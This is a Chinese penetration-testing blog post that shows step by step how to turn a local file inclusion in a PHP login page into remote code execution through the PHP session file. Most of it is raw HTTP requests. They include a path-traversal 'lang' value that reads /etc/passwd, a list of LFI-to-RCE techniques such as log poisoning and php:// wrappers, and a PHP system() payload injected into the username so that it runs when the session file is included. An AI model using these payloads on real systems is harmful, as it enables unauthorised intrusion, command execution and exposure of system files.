通过PHP Session将LFI转化为RCE


Sep 22 2017

通过PHP Session将LFI转化为RCE

首页 » 渗透测试 » 通过PHP Session将LFI转化为RCE   

个简单的文件包含:



1

2

3

4

5

6

7

8

9

10

11

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 44

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=admin&lang=en_us.php

有的登录页面,会有个参数来指定语言,比如以上的lang参数。


1

2

3

4

5

6

7

8

9

10

11

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 75

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=admin&lang=../../../../../../../../../../etc/passwd

通过不断的尝试遍历跳目录,成功包含/etc/passwd,在返回包可以看到内容。

从LFI升级到RCE的一些常见方法

一般找到了本地文件包含之后,可以尝试转换一波远程命令执行。

可能有以下技巧:

  1. 使用文件上传表单/函数

  2. expect://cmd

  3. php://file

  4. php://filter

  5. input://stream

  6. data://text/plain;base64,command

  7. /proc/self/environ

  8. /proc/self/fd

  9. 一些可控的日志文件,如:

  1. /var/log/apache/access.log

  2. /var/log/apache/error.log

  3. /var/log/vsftpd.log

  4. /var/log/sshd.log

  5. /var/log/mail

也可能会失败。

通过控制PHP Session实现RCE

这个程序当输入错误的账号密码比如admin登录失败之后

返回了几个Set-Cookie,请求中包含php session的值可能存储在服务器端。

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/

Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Set-Cookie: pass=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP5存储session文件,默认位置是/var/lib/php5/sess_[PHPSESSID]

所以以上session应该存储在

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

所以先包含会话文件试一波



1

2

3

4

5

6

7

8

9

10

11

12

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27

Content-Length: 107

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=admin&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

返回

user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

很明显,我们在user参数处输入php代码。



1

2

3

4

5

6

7

8

9

10

11

12

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27

Content-Length: 134

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

结果,内容写入了set-cookie,也写入了session文件

Set-Cookie:user=%3C%3Fphp+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E;expires=Mon, 13-Aug-2018 20:40:53 GMT; path=/; httponly

session文件再用LFI可读取。注意,需要从请求中删除cookie,否则会被覆盖,导致读取失败。



1

2

3

4

5

6

7

8

9

10

11

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 141

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

导致命令执行。

微信图片_20170922124223.jpg

 

正文部分到此结束

文章标签:这篇文章木有标签

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «基于ThinkPHP的2个CMS后台GetShell利用 | 渗透笔记:如何通过SQL注入漏洞拿到系统的管理员权限»

这篇文章还没有收到评论,赶紧来抢沙发吧~